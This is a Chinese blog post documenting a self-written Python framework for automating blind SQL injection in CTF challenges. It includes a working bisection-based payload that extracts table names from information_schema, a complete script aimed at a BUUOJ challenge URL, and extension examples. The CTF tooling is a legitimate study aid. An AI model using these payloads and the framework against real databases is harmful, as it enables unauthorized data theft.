首页 > 数据库 >BI_SQL盲注框架使用说明

BI_SQL盲注框架使用说明

时间:2022-09-02 20:13:37浏览次数:75  
标签:args req BI 参数 模块 SQL 盲注 Payload

简介

​ 这里是SQL盲注框架的使用说明文档,这个项目的初衷是为了解决在CTF中编写SQL盲注脚本的不便:大部分时间编写的SQL盲注脚本都是payload指向的,这就导致了基本上一个题要大改一次还得重新调试。

​ 所以编写这个项目来将SQL盲注的步骤模块化,提供代码的复用率,减少由于自身菜B编码能力的高血压程度

快速开始

这里将以[2019-极客大挑战-FinalSQL](https://buuoj.cn/challenges#[极客大挑战 2019]FinalSQL)为例子来演示这个SQL盲注框架该如何使用编写出Payload

快进一下假设我们注意到这题的注入点在于search.php的GET参数id,那么按照一般编写脚本的思路我们该实现哪些功能呢?

首先,需要构造一个主要的循环迭代模块,通过这个逻辑将循环生成每次盲注Payload需要的各种变量数值,比如采用二分法盲注:

`1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{))^1`

其中3个{}就分别代表 每次需要截取的字符位数、比较ASCII值采用的逻辑符号,用来比较的ASCII值 这些变量都是需要这个循环迭代模块提供的,框架中内置了二分法对应的循环迭代模块可供直接使用,故可以编写脚本:

import BI_SQL as SQL
#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod

其次,对于Payload肯定需要通过HTTP发送到服务端,这时就需要一个请求模块循环迭代模块生成的变量数值填充到Payload,然后整理并发起HTTP请求。

框架提供了默认的请求模块,它实现了整理并发起HTTP请求的功能,我们只需要实现将变量数值填充到Payload的功能然后传入相关参数就能使用,故可接着编写:

import BI_SQL as SQL

#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod

url = "http://b77cab68-401e-4c92-a214-7d39217ced25.node4.buuoj.cn:81/search.php"
method = "get"
params = {"id" : "1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{}))^1"}
#将HTTP的相关参数传入,这里的参数名风格是基于requests模块的
req = SQL.Request(url, method, params = params)
'''
构造将变量数值填充到Payload的方法
函数参数格式推荐为如下的,其中req代表req模块类
args代表从循环迭代模生成的变量数值
关于此方法定义的具体细节请看后面Request部分'''
def makePoc(req, **args):
    req.params = req.rawParams.format(args["num"], args["sympol"], args["code"])
#将构造的方法指定到请求模块中
req.setPrePayloadFunc(makePoc)

接着,对于发送Payload后的返回包需要对其进行检测判断出本次Payload执行是否成功,这样就需要检测模块实现这个功能返回对Payload执行结果的判断

框架提供了默认的检测模块,绝大部分的检测类型均能满足,设定好相关参数后就可以使用,而本体又是检测返回值关键字那么就有:

import BI_SQL as SQL

#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod

url = "http://b77cab68-401e-4c92-a214-7d39217ced25.node4.buuoj.cn:81/search.php"
method = "get"
params = {"id" : "1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{}))^1"}
#将HTTP的相关参数传入,这里的参数名风格是基于requests模块的
req = SQL.Request(url, method, params = params)
'''
构造将变量数值填充到Payload的方法
函数参数格式推荐为如下的,其中req代表req模块类
args代表从循环迭代模生成的变量数值
关于此方法定义的具体细节请看后面Request部分'''
def makePoc(req, **args):
    req.params = req.rawParams.format(args["num"], args["sympol"], args["code"])
#将构造的方法指定到请求模块中
req.setPrePayloadFunc(makePoc)

#已于关键字检测模块
check = SQL.Check(SQL.checkMethod.checkText, checkModel = "A", keyStr = "Click")

最后,只需要让程序跑起来就能看到结果了,框架设计了一个容器(大嘘)来承载这三个模块,将模块传入容器然后启动就行,所以最终脚本如下:

import BI_SQL as SQL

#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod

url = "http://b77cab68-401e-4c92-a214-7d39217ced25.node4.buuoj.cn:81/search.php"
method = "get"
params = {"id" : "1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{}))^1"}
#将HTTP的相关参数传入,这里的参数名风格是基于requests模块的
req = SQL.Request(url, method, params = params)
'''
构造将变量数值填充到Payload的方法
函数参数格式推荐为如下的,其中req代表req模块类
args代表从循环迭代模生成的变量数值
关于此方法定义的具体细节请看后面Request部分'''
def makePoc(req, **args):
    req.params = req.rawParams.format(args["num"], args["sympol"], args["code"])
#将构造的方法指定到请求模块中
req.setPrePayloadFunc(makePoc)

#已于关键字检测模块
check = SQL.Check(SQL.checkMethod.checkText, checkModel = "A", keyStr = "Click")

#将模块传入容器
controller = SQL.Controller(central, req, check)
controller.run()

架构总览

设想的整体架构是这样的,想必大体上算是实现了⑧

循环迭代模块的逻辑实际上是相对单调的,内置的该模块已经满足了大部分的题目情况(没见到也妹有办法,我好没本领.jpg),该模块的实现只需要要编写一个函数即可,所以这里并不会有对应的总览,想参考自定义循环迭代模块请参考后面对应小节

请求模块

检测模块

循环迭代模块

简介

该模块对应框架下central.py中的代码。该模块的需要实现循环生成每次盲注Payload需要的各种变量数值,随后将这些变量数值传入请求模块的send方法中,然后从将请求模块的返回值传入检查模块的bakCheckResult方法获取当前Payload的正确与否,基于Payload的正确性将调整生成下次盲注Payload需要的各种变量数值直到整个盲注流程结束

该模块默认按照函数形式实现,需要满足存在两个及以上的参数,通常为:

xxx(requestModule, checkModule, **args)

其中requestModule代表请求模块,checkModule代表检测模块,args用来存放该模块中可能需要的其他参数

其他参数的获取形式通常为:

xxx = args["xxx"] if "xxx" in args.keys() else DEFAULT_VALUE

以内置的二分法模块为例使用检测与请求模块为如下所示:

内置模块生成变量作用解析

目前是内置了三个相关模块,分别是ASCII值二分法、字符集遍历、SQL结果集比较

ASCII值二分法:

提供三个变量数值,分别为codenumsympol

  • code:当前注入的字符猜测的ASCII值
  • num:当前注入的字符为字段中第几位
  • sympol:当前注入的字符与猜测的ASCII值之间的大小关系

字符集遍历A模式:

  • char:当前注入的字符猜测的字符值
  • num:当前注入的字符为字段中第几位

字符集遍历B模式:

  • char:当前注入的字符串猜测的字符串

SQL结果集比较:

这个方法原理参考[GYCTF2020]Ezsqli的Payload

  • char:当前注入的字符猜测的字符串
  • sympol:猜测的字符串与其他结果集中对应字段之间的大小关系

请求模块

简介

该模块对应框架下request.py中的代码。该模块在创建时会将传入的(HTTP)参数储存,随后调用请求功能时会接受每次盲注Payload需要的各种变量数值再整合发送包含Payload的HTTP请求,并返回对应的响应包

该模块由Request类实现,在该类构建时需要传入(HTTP)参数,参数风格类似request,具体由如下这些:

这些参数会之后伴随填充后的Payload作为HTTP请求发送,基于部分参数可能会作为Payload被填充的可能,所以此处对这部分参数赋值了两份,其中以raw(如self.rawUrlself.rawParams等)开头的属性会作为模板保存供以被填充Payload用,而未以raw开头的属性则时之后发送HTTP请求时使用的参数(如self.urlself.params等)

请求模块中起到发起请求功能的方法是send,支持使用session。外部通过调用这个方法来实现请求发送,在这个方法中将填充Payload并执行具体发送功能

可以注意到实际发送Payload的方法是mainReq,在外面套一层send方法是为了便于实现一些环境下的必要流程,如二次注入这类环境就需要先发送注册、登录请求,这时就可以在send方法中先实现这些请求。同send方法,mainReq方法也是支持session

此外还具有setPrePayloadFunc方法,起作用就是提供给Request让其将填充Payload的函数设定为自身属性,以便之后在send方法中调用

使用自定义填充Payload方法

推荐使用如下的参数风格,注意第一个参数必须为请求模块中的Request类,第二个参数则是从循环迭代逻辑生成生成的盲注Payload需要的各种变量数值:

Request类中的大部分HTTP参数在赋值时会赋值给两个属性,其中以raw开头的会被视为用以被填充的Payload的模板,而非raw开头的则是为随后实际发送HTTP请求使用的参数

使用自定义请求流程

继承Request类后就可以在重写send方法中自定义请求流程,但是需要注意需要调用PrePayloadFunc属性填充Payload,可采用固定写法:

然后调用mainReq方法发送包含Payload的HTTP请求,并返回其返回值,也可采用固定写法:

具体可以参考如下的重写示例:

import BI_SQL as SQL
import requests as res
class newRequest(SQL.Request):
    def send(self, session=None, **args):
        #发送注册和登录请求
        data = {"username" : "test", "password" : "test"}
        sess = res.Session()
        sess.get("http://test/register.php", data = data)
        sess.get("http://test/login.php", data = data)
        self.PrePayloadFunc(self, **args)
        #将session传入以便发送含Payload的请求时使用
        resp = self.mainReq(session = sess)
        return resp

检测模块

简介

该模块对应框架下check.py中的代码。该模块的需要接受从请求模块传递过来的返回包,然后依据设定好的检测逻辑返回当前盲注Payload的正确性(默认按照函数的形式实现)

该模块实际上可分为两部分,外层是用来提供统一调用接口的包装类,内部则是各色的检测函数,对检测模块的使用实际上是调用包装类的接口并传入返回包,接口再去整合参数并调用检测函数并返回执行结果

创建时通过包装类的初始将检测函数及其辅助参数(即除开返回包外的参数)传入,通常时如下结构:

import BI_SQL as SQL
check = SQL.Check(checkFunc, key1=value1[, key2 = value2 ...])

对应源码即Check类实现包装类,checkMethod作为工具类提供各色内置检测函数:

image-20220902123507369

image-20220902123620474

使用自定义检测函数

需要提供一个以上的参数,且其中第一位参数必为返回包,后续参数则可以视函数自身需要来提供,如:

def testCheckFunc(request, key1):
    #request代表返回包,可以代表如下的检测逻辑需要使用的参数
    '''对返回包进行检测的逻辑'''
    return BOOLEAN

然后只需要注意在创建包装类时以键值对的形式传入正确的参数数量和参数名,如:

import BI_SQL as SQL
check = SQL.Check(testCheckFunc, key1 = value1)

容器

该模块的内置内容对应框架下control.py中的代码。该模块实际上只是对循环迭代模块、请求模块、检测模块进行一个简单的封装提供一个启动接口和一些看上去美观的信息(并不是)展示的类

使用时只需要将循环迭代模块、请求模块、检测模块依次传入然后调用其run方法即可,如

import BI_SQL as SQL
controller = SQL.Controller(centralModule, requestModule, checkModule)
controller.run()

内置函数

request.pyutils.py中定义了一些内置函数方便,因为已经导入到__init__.py的原因均可以直接使用

urlencode

将可迭代变量args中元素逐个进行URL编码,并以数组形式返回这些元素编码后内容(单个元素则是其对于URL编码字符串),目前仅支持元素为字符串或字典

该函数主要用于多个需要URL编码的参数一起传入并一起获取返回结果,如:

a, b = urlencode(strA, strB)

urlencodeStr

返回字符串rawStr对应的URL编码格式,默认非ASCII范围的字符会被编码,此外对于字符串blacklist中的字符也会进行编码,其默认值为

需要注意的是,该函数与requestsurllib中的URL编码方式不通,前两者会将诸如\x99转化为%c2%99,但该函数则是将\x99转化为%99

urlencodeDict

将传入的字典rawDict转为对应URL编码后的字符串,具体的格式类似于如下:

urlencodeStr(key1) + "=" + urlencodeStr(value1) [+ "&" +urlencodeStr(key1) + "=" + urlencodeStr(value1)]

但需要注意目前仅支持字典key与value均为字符串的情况

str2hex

返回字符串strs对应的十六进制形式,具体风格类似MySQL中的hex函数

getCharacterSet

依据参数选取对应的字符集,被用于盲注需要字符集的情况

标签:args,req,BI,参数,模块,SQL,盲注,Payload
From: https://www.cnblogs.com/Article-kelp/p/16651064.html

相关文章

  • HiveSql调优系列之Hive严格模式,如何合理使用Hive严格模式
    目录综述1.严格模式1.1参数设置1.2查看参数1.3严格模式限制内容及对应参数设置2.实际操作2.1分区表查询时必须指定分区2.2orderby必须指定limit2.3限制笛卡尔积3.搭......
  • Spring boot多Rabbit MQ配置创建队列到指定MQ
    1、场景springboot整合rabbitmq,需要将队列queue1、queue2分别放在不同的MQ服务上MQ1、MQ2。2、环境准备MQ1:IP:192.168.1.110队列:queue1MQ2:IP:172.16.1.220队列:queu......
  • MySQL二、基础架构解析
    前言:文章内容:MySQL基础架构、SQL成本计算本文章内容来源于笔者学习笔记,内容可能与相关书籍内容重合偏向于知识核心总结,非零基础学习文章,可用于知识的体系建立,核心内容......
  • sqlserver 分组 聚合数据
    SELECT--OrderNo数据分组条件OrderNo,LEFT(MAX(InDate),10)ASInDate,--MAX只是不想让它参与分组条件MAX(WarehouseCode)WarehouseCode,MAX(Warehous......
  • SQL server 字符串补位
     示例selectspace(10)+'*'左补10个空格,'*'+space(10)右补10个空格,replicate('*',10)+'*'左补10个*,*+replicate('*',10)右补10个* SPACE......
  • mysqlbinlog 查看binlog时报错unknown variable 'default-character-set=utf8'【转】
    下午在排查MySQL主从同步问题时,想从主库的binlog中找一些线索,裸的binlog文件是无法直视的,mysqlbinlog这个工具是用来查看binlog文件内容的(使用方式manmysqlbinlog查看),但是......
  • Ubuntu解决安装出错/usr/bin/dpkg returned an error code
    重装mysql后,安装任何软件都报错Readingpackagelists...DoneBuildingdependencytree...DoneReadingstateinformation...Donewgetisalreadythenewestvers......
  • SQL Server 表变量遍历方法
    declare@PcrIdListtable(PCRIDbigint)insertinto@PcrIdListselectPCRIDfromdbo.[PCR2_ExtendFields]groupbyPCRIDdeclare@PcrIdbigintwhileexists(sele......
  • Mysql压缩包版本安装
    之前一直使用的是安装包,今天懒得去下载了,直接用压缩包安装,记录一下。1、先去官网下载压缩包。https://dev.mysql.com/downloads/mysql/8.0.html2、将文件夹解压在要安装......
  • SQLServer 查询近期执行的sql语句
    SELECTTOP1000QS.creation_timeAS'执行时间',QS.total_elapsed_time/1000AS'耗时',QS.total_rows,SUBSTRING(ST.text,qs.statement_start_offset/2+......